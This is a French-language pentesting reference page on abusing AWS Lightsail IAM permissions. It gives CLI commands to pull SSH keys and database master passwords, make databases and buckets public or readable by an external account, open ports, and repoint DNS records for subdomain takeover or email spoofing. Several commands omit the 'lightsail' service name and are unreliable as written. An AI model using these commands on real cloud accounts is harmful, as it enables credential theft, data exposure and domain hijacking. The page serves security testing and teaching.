# AWS - Lightsail Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Lightsail

Pour plus d'informations sur Lightsail, consultez :

{{#ref}}
../aws-services/aws-lightsail-enum.md
{{#endref}}

> [!WARNING]
> Il est important de noter que Lightsail **n'utilise pas les rôles IAM appartenant à l'utilisateur** mais à un compte géré par AWS, donc vous ne pouvez pas abuser de ce service pour privesc. Cependant, **des données sensibles** telles que le code, les clés API et les informations de base de données pourraient être trouvées dans ce service.

### `lightsail:DownloadDefaultKeyPair`

Cette permission vous permettra d'obtenir les clés SSH pour accéder aux instances :
```
aws lightsail download-default-key-pair
```
**Impact potentiel :** Trouver des informations sensibles à l'intérieur des instances.

### `lightsail:GetInstanceAccessDetails`

Cette autorisation vous permettra de générer des clés SSH pour accéder aux instances :
```bash
aws lightsail get-instance-access-details --instance-name <instance_name>
```
**Impact potentiel :** Trouver des informations sensibles à l'intérieur des instances.

### `lightsail:CreateBucketAccessKey`

Cette autorisation vous permettra d'obtenir une clé pour accéder au bucket :
```bash
aws lightsail create-bucket-access-key --bucket-name <name>
```
**Impact potentiel :** Trouver des informations sensibles à l'intérieur du bucket.

### `lightsail:GetRelationalDatabaseMasterUserPassword`

Cette autorisation vous permettra d'obtenir les identifiants pour accéder à la base de données :
```bash
aws lightsail get-relational-database-master-user-password --relational-database-name <name>
```
**Impact potentiel :** Trouver des informations sensibles dans la base de données.

### `lightsail:UpdateRelationalDatabase`

Cette autorisation vous permettra de changer le mot de passe pour accéder à la base de données :
```bash
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
```
Si la base de données n'est pas publique, vous pourriez également la rendre publique avec ces autorisations avec
```bash
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
```
**Impact potentiel :** Trouver des informations sensibles dans la base de données.

### `lightsail:OpenInstancePublicPorts`

Cette autorisation permet d'ouvrir des ports vers Internet.
```bash
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22
```
**Impact potentiel :** Accéder à des ports sensibles.

### `lightsail:PutInstancePublicPorts`

Cette autorisation permet d'ouvrir des ports sur Internet. Notez que l'appel fermera tout port ouvert qui n'est pas spécifié.
```bash
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22
```
**Impact potentiel :** Accéder à des ports sensibles.

### `lightsail:SetResourceAccessForBucket`

Cette autorisation permet de donner à une instance l'accès à un bucket sans aucune autre information d'identification.
```bash
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow
```
**Impact potentiel :** Accès potentiel nouveau à des buckets contenant des informations sensibles.

### `lightsail:UpdateBucket`

Avec cette permission, un attaquant pourrait accorder à son propre compte AWS un accès en lecture sur des buckets ou même rendre les buckets publics pour tout le monde :
```bash
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
```
**Impact potentiel :** Accès potentiel à de nouveaux buckets contenant des informations sensibles.

### `lightsail:UpdateContainerService`

Avec ces autorisations, un attaquant pourrait accorder l'accès à des ECR privés depuis le service de conteneurs.
```bash
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}
```
**Impact potentiel :** Obtenir des informations sensibles à partir d'ECR privé

### `lightsail:CreateDomainEntry`

Un attaquant disposant de cette autorisation pourrait créer un sous-domaine et le pointer vers sa propre adresse IP (prise de contrôle de sous-domaine), ou créer un enregistrement SPF qui lui permet de falsifier des e-mails depuis le domaine, ou même définir le domaine principal sur sa propre adresse IP.
```bash
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
```
**Impact potentiel :** Prise de contrôle d'un domaine

### `lightsail:UpdateDomainEntry`

Un attaquant disposant de cette autorisation pourrait créer un sous-domaine et le pointer vers sa propre adresse IP (prise de contrôle de sous-domaine), ou créer un enregistrement SPF qui lui permet de falsifier des e-mails depuis le domaine, ou même définir le domaine principal sur sa propre adresse IP.
```bash
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
```
**Impact potentiel :** Prise de contrôle d'un domaine

{{#include ../../../banners/hacktricks-training.md}}
